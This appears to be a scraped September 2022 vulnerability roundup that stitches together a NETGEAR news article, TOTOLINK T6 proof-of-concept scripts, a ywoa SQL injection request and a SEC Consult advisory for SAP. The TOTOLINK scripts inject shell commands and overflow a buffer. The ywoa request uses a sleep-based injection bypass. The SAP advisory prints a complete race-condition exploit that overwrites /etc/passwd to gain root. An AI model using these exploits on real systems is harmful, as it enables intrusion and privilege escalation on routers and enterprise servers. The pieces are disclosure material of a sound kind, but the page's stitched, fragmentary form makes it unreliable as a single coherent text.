Threat Roundup for September 9 to September 16

Genesys PureConnect Interaction Web Tools Chat Service (up to at least 26- September- 2019) allows XSS within the Printable Chat History via the participant -> name JSON POST parameter.

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CVE-2022-37775: Contact Center Solutions | Omnichannel Customer Experience | Genesys

Silicon Valley vendor tackles command injection and MitM-to-RCE issues

Adam Bannister 16 September 2022 at 16:10 UTC  
Updated: 16 September 2022 at 16:11 UTC

Silicon Valley vendor tackles command injection and MitM-to-RCE issues

Vulnerabilities in a third-party module within the firmware of NETGEAR routers and Orbi WiFi Systems could lead to arbitrary code execution on affected devices.

The component in question is FunJSQ, “a third-party gaming speed-improvement service” developed by China-based Xiamen Xunwang Network Technology, included in NETGEAR firmware images, according to a security advisory published yesterday (September 15) by European IoT security firm ONEKEY.

Now patched, the high severity flaws included an unauthenticated command injection flaw (CVE-2022-40619), and an insecure auto-update mechanism (CVE-2022-40620) that enabled manipulator-in-the-middle (MitM) attacks, potentially leading to remote code execution (RCE).

Read more of the latest hardware security news

The issues, which were both given a CVSS score of 7.7, can only be exploited if an attacker has the victim’s WiFi password or access to an Ethernet connection to the router, according to a NETGEAR advisory.

Moreover, ONEKEY indicated that FunJSQ is seemingly only enabled when the Quality of Service (QoS) feature, which prioritizes internet traffic for applications like VoIP or online gaming, is also activated.

**Insecure auto-update**

The insecure auto-update mechanism led to arbitrary code execution from the WAN interface due to a trio of issues.

First, insecure communications arose from the “explicit disabling of certificate validation (-k), which allows us to tamper with data returned from the server”, according to ONEKEY researchers.

Second, the “update packages are simply validated via a hash checksum, packages are not signed in any way”.

And finally, “arbitrary extraction to the root path with elevated privilege \[allowed\] whoever controls the update package to overwrite anything anywhere on the device (which puts a lot of trust in a third party supplier)”.

**Command injection**

The command injection issue was discovered during an investigation of , which was exposed by HTTP server .

This endpoint accepted parameters that required an authentication token generated by a weak algorithm that used a hardcoded string and the device MAC address.

The resulting token was sent to a remote FunJSQ service for validation by curl.

“We found that the curl command line is built using the value, which is user controlled and unsanitized prior to creating the full command line,” revealed the researchers.

**Coordinated disclosure**

ONEKEY reported the bug to NETGEAR on May 19, and the Silicon Valley vendor disclosed details of the flaw alongside firmware updates on September 9.

Affected router models include R6230, R6260, R7000, R8900, R9000, and XR300, while the vulnerable Orbi WiFi Systems models are RBR20, RBS20, RBR50, and RBS50.

ONEKEY said the research highlighted the supply chain threat posed by “undocumented and vulnerable software components in widely deployed embedded devices”.

The researchers urged vendors to “assure that all included third-party vendors adhere to at least the same cybersecurity standards” as their own.

YOU MIGHT ALSO LIKE WAPPLES web application firewall faulted for multiple flaws

NETGEAR resolves router vulnerabilities in bundled gaming component

TOTOLINK T6 V4.1.5cu.709_B20210518 is vulnerable to Buffer Overflow via cstecgi.cgi

Permalink

**Command Injection****TOTOLINK\_T6**

version: V4.1.5cu.709\_B20210518

**Description:**

There is a buf overflow in cstecgi.cgi

**Source:**

you may download it from : http://www.totolink.cn/home/menu/detail.html?menu\_listtpl=download&id=16&ids=36

**Analyse:**

in sub\_421AA0, v7 get from pin,and then pass to v16 , but dont check the length.

finally ,cause overflow.

**POC**

    from pwn import *
    import json
    
    data = {
        "topicurl": "setting/setWiFiWpsStart",
        "wscMode": "1",
        "pin": b'a'*0x200 
    }
    
    data = json.dumps(data)
    print(data)
    
    argv = [
        "qemu-mipsel-static",
        "-g", "1234",
        "-L", "./root/",
        "-E", "CONTENT_LENGTH={}".format(len(data)),
        "-E", "REMOTE_ADDR=192.168.0.1",
        "./cstecgi.cgi"
    ]
    
    a = process(argv=argv)
    a.sendline(data.encode())
    
    a.interactive()

CVE-2022-38827: CVE/setWiFiWpsStart_2.md at main · whiter6666/CVE

In TOTOLINK T6 V4.1.5cu.709_B20210518, there is an execute arbitrary command in cstecgi.cgi.

Permalink

**Command Injection****TOTOLINK\_T6**

version: V4.1.5cu.709\_B20210518

**Description:**

There is a execute arbitrary command in cstecgi.cgi

**Source:**

you may download it from : http://www.totolink.cn/home/menu/detail.html?menu\_listtpl=download&id=16&ids=36

**Analyse:**

in sub\_421504, v6 get from mac

finally pass to v29 and execute 

**POC**

    from pwn import *
    import json
    
    data = {
        "topicurl": "setting/setStaticDhcpRules",
        "addEffect": "1",
        "mac": " ;ls > /tmp/1;:  "
    }
    
    data = json.dumps(data)
    print(data)
    
    argv = [
        "qemu-mipsel-static",
        "-g", "1234",
        "-L", "./root/",
        "-E", "CONTENT_LENGTH={}".format(len(data)),
        "-E", "REMOTE_ADDR=192.168.0.1",
        "./cstecgi.cgi"
    ]
    
    a = process(argv=argv)
    a.sendline(data.encode())
    
    a.interactive()

CVE-2022-38826: CVE/setStaticDhcpRules_1.md at main · whiter6666/CVE

TOTOLINK T6 V4.1.5cu.709_B20210518 is vulnerable to command injection via cstecgi.cgi

Permalink

**Command Injection****TOTOLINK\_T6**

version: V4.1.5cu.709\_B20210518

**Description:**

There is a execute arbitrary command in cstecgi.cgi

**Source:**

you may download it from : http://www.totolink.cn/home/menu/detail.html?menu\_listtpl=download&id=16&ids=36

**Analyse:**

in sub\_421AA0, pin get from mac ,and then v7->v16->v11->v15->v13

finally execute system

**POC**

    from pwn import *
    import json
    
    data = {
        "topicurl": "setting/setWiFiWpsStart",
        "wscMode": "1",
        "pin": " ;ls > /tmp/1;:  "
    }
    
    data = json.dumps(data)
    print(data)
    
    argv = [
        "qemu-mipsel-static",
        "-g", "1234",
        "-L", "./root/",
        "-E", "CONTENT_LENGTH={}".format(len(data)),
        "-E", "REMOTE_ADDR=192.168.0.1",
        "./cstecgi.cgi"
    ]
    
    a = process(argv=argv)
    a.sendline(data.encode())
    
    a.interactive()

CVE-2022-38828: CVE/setWiFiWpsStart_1.md at main · whiter6666/CVE

ywoa v6.1 is vulnerable to SQL Injection via backend/oa/visual/exportExcel.do interface.

**Environment construction**

http://partner.yimihome.com/static/index.html#/index/sys\_env

Direct one-click installation can be started, and then login on the account admin password 1111111, login if prompted authentication expired can not log in, change the local system time can

http://172.16.140.189:8088/oa/setup/license.jsp

Once installed here, the source code is available for download at gitee

https://gitee.com/bestfeng/yimioa

Download a good local idea to open a static look at the code on

**idea**

Download: http://partner.yimihome.com/static/index.html#/index/idea\_deploy First set it up as shown here, after setting it up, import the database, after importing, you need to change the link configuration yimioa/c-core/src/main/ resources/application.properties Modify the mysql connection information, and then just start  But idea start, more bugs, and report more errors, here is idea static look at the code

**/oa/visual/exportExcel.do interface orderby injection Bypass****Vulnerability recurrence**

GET /oa/visual/exportExcel.do?code=personbasic&orderBy=id+%26%26+(/\*!%53eLEct\*/+1+FROM+(/\*!%53eLEct\*/(sleep(5)))a)&op=1&sort=desc&isMine=true HTTP/1.1
Host: 172.16.140.186:8088
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: \*/\*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: JSESSIONID=339C404636300F5F43B74EC828919D11; skincode=lte; name=admin; pwd=p5Bx7jxXNGCCEsQLv/rG4w==; cwbbs.auth=LkPkBkEkAkNmJmHmHhEmNmHmHmPmBmPmPmOhOhKmMmMhJlDlDiGlAlMlCiDiNlIiJlIlMlMlPlNl

**bypass** poc

%26%26+(/\*!%53eLEct\*/+1+FROM+(/\*!%53eLEct\*/(sleep(5)))a)

**Code audit and function implementation**

Did not find the corresponding web function point, here is a direct look at the static code interface audit  
  
orderby, here the parameters, and then look down, because the above personnel function point that GET injection already know getModuleListSqlAndUrlStr method, so look down, directly orderby passed in  
So it causes SQL injection, if not bypass, there will be no problem, after all, the filter method has been bypassed.

CVE-2022-38808: SQL injection exists in ywoa v6.1 backend/oa/visual/exportExcel.do interface · Issue #26 · cloudwebsoft/ywoa

SAPControl Web Service Interface (sapstartsrv) suffers from a privilege escalation vulnerability via a race condition.

SEC Consult Vulnerability Lab Security Advisory < 20220915-0 >  
=======================================================================  
               title: Local privilege escalation  
             product: SAP® SAPControl Web Service Interface (sapuxuserchk)  
  vulnerable version: see section "Vulnerable /  tested versions"  
       fixed version: see SAP security note 3158619  
          CVE number: CVE-2022-29614  
              impact: medium  
            homepage: https://www.sap.com/about.html  
               found: 2022-02-24  
                  by: M. Li (Office Munich)  
                      SEC Consult Vulnerability Lab

                      An integrated part of SEC Consult, an Atos company  
                      Europe | Asia | North America

                      https://www.sec-consult.com

=======================================================================

Vendor description:  
-------------------  
"The SAP Start Service (sapstartsrv) provides basic management services for  
systems and instances and single server processes. Services include starting  
and stopping, monitoring the current run-time state, reading logs, traces and  
configuration files, executing commands and retrieving other  
technology-specific information, like network access points, active sessions,  
thread list etc. They are exposed by a SOAP Web service interface named  
"SAPControl". This paper describes how to use this Web service interface."

Source: https://assets.cdn.sap.com/sapcom/docs/2016/09/0a40e60d-8b7c-0010-82c7-eda71af511fa.pdf

Business recommendation:  
------------------------  
SEC Consult recommends to implement the security note 3158619, where the  
documented issue is fixed according to the vendor. We advise installing the  
corrections as a matter of priority to keep business-critical data secured.

Vulnerability overview/description:  
-----------------------------------  
1) Local privilege escalation (CVE-2022-29614)  
The SUID-root program sapuxuserchk erroneously follows the symbolic link to  
create a temporary local logon ticket and change the ownership of the target  
file for owner access only. As member of the group sapsys, a user can therefore  
escalate his/her privileges to root on a local Unix system by successfully  
exploiting a race condition.

Proof of concept:  
-----------------  
1) Local privilege escalation (CVE-2022-29614)  
The utility sapuxuserchk is used by sapcontrol to request a temporary local  
logon ticket in the following way. As a result, the ticket is created in the  
folder /usr/sap/SEC/D00/work/sapcontrol_logon/

$ sapcontrol -nr 0 -function RequestLogonFile user0

$ ls -l logon*  
-rw------- 1 secadm sapsys 40 Feb 25 08:58 logon0  
-rw------- 1 user0  users  40 Feb 25 09:00 logon1  
-rw------- 1 root   root   40 Feb 25 09:01 logon2

Since sapcontrol is supposed to create the ticket for any system user, it  
requires a utility with SUID bit set. The owner, group and its permission bits  
of sapuxuserchk of a standard installation are shown below.

$ ls -l sapuxuserchk  
-rwsr-x--- 1 root sapsys 1312137 Feb 28  2019 sapuxuserchk

The request originating from sapcontrol is first sent to the instance server  
sapstartsrv, piping into sapuxuserchk a 512-byte encrypted message, which  
contains the ticket path, user name and ticket in the plaintext, as an example  
shown below.

$ strings input-0-plaintext  
SAPLOGONFILE /usr/sap/SEC/D00/work/sapcontrol_logon/logon1  
  user0  
1133146902252676394602837452470900726967

On its duty to create the ticket, sapuxuserchk performs the sanity check to  
guarantee the non-existence of the file prior to the creation in the  
function internal_create_saplogon_file.

However, it introduces a race condition between the stat and open calls, as  
shown by the following excerpt from strace.

stat("/usr/sap/SEC/D00/work/sapcontrol_logon/logon1", 0x7ffc0d2e1530) = -1 ENOENT (No such file or directory)  
open("/usr/sap/SEC/D00/work/sapcontrol_logon/logon1", O_RDWR|O_CREAT|O_TRUNC, 0600) = 3  
  fchown(3, 1000, 100)

The attacker can run a race of constantly creating a symbolic link logon1  
pointing to a privileged file such as /etc/passwd and meanwhile invoke the  
SUID-root program sapuxuserchk, in the hope that the creation of the link  
take place between the stat and open calls, so that the first will fail,  
(meaning that the file does not exist yet) while the second as well as the  
ensuing fchown call succeeds. In a positive result, the attacker gains the  
read-write permission of the target file.

The following run to winning the race took 629 attempts to finally gain the  
root privilege. The PoC further below lists the exploit implementing the idea  
above with a pre-intercepted message for user secadm.

-------------------------------------------------------------------------  
sh-4.3$ id  
uid=1001(secadm) gid=474(sapsys) groups=474(sapsys),1000(sapinst)

sh-4.3$ ls -l /etc/passwd  
-rw-r--r-- 1 root root 2517 Feb 25 00:47 /etc/passwd

sh-4.3$ python3 sapmatt.py  
this many tries: 629  
[+] now login as sapmatt

sh-4.3$ su sapmatt  
Password:

sh-4.3# id  
uid=0(sapmatt) gid=0(root) groups=0(root)

sh-4.3# ls -l /etc/passwd  
-rw-r--r-- 1 secadm sapsys 73 Feb 25 10:03 /etc/passwd

$ cat sapmatt.py  
import sys, os, signal, base64, random, string

secadm_msg =   
b'O9OXlWwex4ddSI5vhXFfUQvZ8Td3NWzRNIb9QN6bHY764Z0zVNuVjFHRGhHEgYgwNQDnf0/bBwzlEXCSXFkhtiDqDohuyCxG4mtRqc86FlB6DTOjBY9o/6Cb3rRSZ58jggx71JXMRk21jW3gqdem+tmqHCnIumZjodk2cuk5/MY76dsD65s3j1XrQS0RT3gPaspl/6Yb842hbVTZXVRY3cHKzNq5tZMKB2LmyyslO4xCI00eBN6k6yEKNFLvMx8lYbAIaHcfdWu3pMWVIb9rT3BoTCHwi5hBz8dHk6usdEw05q/Xuxe28gxWCUZpN09sYsd/5R8HqqLfwyiNI7CTBCA3f+fHUweJPuteD5O8bwo/mEOShHimO1gPZzhBdow2C0JszYQeQpxgRtENXPUt2qgT7TJqmItxM0puB8ry0TnKJIbk5gj0smflBPBZyTDXl+qNUmgWL1dK/SBpTUErGMVXFVBi8bNDMSUhcJa+0IQlYSBHPln17kquqhGvlRYYZVJttDNoYcvBchc4HxHZmH5pHkD4fhbcQgFT0UFgceSH1j3sE6G/M/QM1X/vTVE4534XJ3mDcFk/brOYun1dawJ30BkJ9HbP5weihwRwspOq52qRZ9CXsnJCtFPNqNWNIe8BgQUW8WV7FkiDJ+Lpp0pq8KLlZ0Yomz46YfCHkag='  
# openssl passwd sappass  
u1_passwd = "sapmatt:wPi023oIkjHdA:0:0::/root:/bin/sh\nsecadm:x:1001:474::/tmp:/bin/sh\n"  
logon_symlink = "/usr/sap/SEC/D00/work/sapcontrol_logon/logon1"  
target_file = "/etc/passwd"

g = 1024  
if not os.path.isfile(logon_symlink):  
         os.system("touch " + logon_symlink)  
secadm_msg = base64.b64decode(secadm_msg)

msg_file = '/tmp/msg' + ''.join(random.choice(string.ascii_letters) for i in range(8))  
f0 = open(msg_file, "wb")  
f0.write(secadm_msg)  
f0.close()

pid = os.fork()  
if pid == 0:  
         j = 0  
         while True:  
                 if j > g:  
                         print('done')  
                         os._exit(os.EX_OK)  
                 j += 1  
                 os.system("/usr/sap/SEC/D00/exe/sapuxuserchk < {0} > /dev/null".format(msg_file))  
else:  
         i = 0  
         uid = os.getuid()  
         success = False  
         while not success:  
                 if i > g:  
                         print("[-] give up, link too many tries: " + str(i))  
                         break  
                 i += 1  
                 try:  
                         os.unlink(logon_symlink)  
                         os.symlink(target_file, logon_symlink)  
                         statinfo = os.stat(target_file)  
                         if statinfo.st_uid == uid:  
                                 os.kill(pid, signal.SIGILL)  
                                 print("this many tries: " + str(i))  
                                 print("[+] now login as sapmatt ")  
                                 f = open(target_file, "w")  
                                 f.write(u1_passwd)  
                                 f.close()  
                                 success = True  
                 except Exception as err:  
                         print('[-] lost the race {0}'.format(err))  
         os.waitpid(pid, 0)  
         os.unlink(msg_file)

-------------------------------------------------------------------------

Vulnerable / tested versions:  
-----------------------------  
The following version of the binary was found to be vulnerable during our tests:  
* Version: 753, patch 400, changelist 1906766

According to the vendor the following products are affected by the discovered  
vulnerability:

SAP NetWeaver AS ABAP, AS Java, ABAP Platform and HANA Database, Versions:  
* KERNEL 7.22, 7.49, 7.53, 7.77, 7.81, 7.85, 7.86, 7.87, 7.88  
* KRNL64NUC 7.22, 7.22EXT, 7.49  
* KRNL64UC 7.22, 7.22EXT, 7.49, 7.53  
* SAPHOSTAGENT 7.2

Please refer to the vendor patch day post:  
https://dam.sap.com/mac/app/e/pdf/preview/embed/ucQrx6G?ltr=a&rc=10

Vendor contact timeline:  
------------------------  
2022-02-25: Contacting vendor through vulnerability submission web form.  
2022-03-04: Vendor confirms receipt and assigns SAP security incident number  
             #2270008914.  
2022-04-29: Requesting status update.  
2022-05-05: Vendor confirms vulnerability and states it might be addressed  
             in May 2022 patch day.  
2022-06-14: Vendor releases patches with SAP security note 3158619.  
2022-06-15: Requesting the confirmation of the security note on the issue.  
2022-08-11: Vendor sends the link to the Acknowledgements to Security  
             Researchers.  
2022-09-02: Requesting the confirmation of the fix.  
2022-09-03: Vendor confirms the issue has been fixed on June Patch Day.  
2022-09-15: Public release of security advisory.

Solution:  
---------  
The following security note needs to be implemented:  
https://launchpad.support.sap.com/#/notes/3158619

Workaround:  
-----------  
You can remove the SUID-bit from sapuxuserchk as temporary mitigation.

# chmod 0755 sapuxuserchk

Advisory URL:  
-------------  
https://sec-consult.com/vulnerability-lab/

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

SEC Consult Vulnerability Lab

SEC Consult, an Atos company  
Europe | Asia | North America

About SEC Consult Vulnerability Lab  
The SEC Consult Vulnerability Lab is an integrated part of SEC Consult, an  
Atos company. It ensures the continued knowledge gain of SEC Consult in the  
field of network and application security to stay ahead of the attacker. The  
SEC Consult Vulnerability Lab supports high-quality penetration testing and  
the evaluation of new offensive and defensive technologies for our customers.  
Hence our customers obtain the most current information about vulnerabilities  
and valid recommendation about the risk profile of new technologies.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
Interested to work with the experts of SEC Consult?  
Send us your application https://sec-consult.com/career/

Interested in improving your cyber security with the experts of SEC Consult?  
Contact our local offices https://sec-consult.com/contact/  
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Mail: security-research at sec-consult dot com  
Web: https://www.sec-consult.com  
Blog: http://blog.sec-consult.com  
Twitter: https://twitter.com/sec_consult

EOF M. Li / @2022

SAP SAPControl Web Service Interface Local Privilege Escalation

Rocket LMS version 1.6 suffers from a remote SQL injection vulnerability.

Rocket LMS 1.6 SQL Injection

Those using Jettison to parse untrusted XML or JSON data may be vulnerable to Denial of Service attacks (DOS). If the parser is running on user supplied input, an attacker may supply content that causes the parser to crash by stackoverflow. This effect may support a denial of service attack.

Tag

#js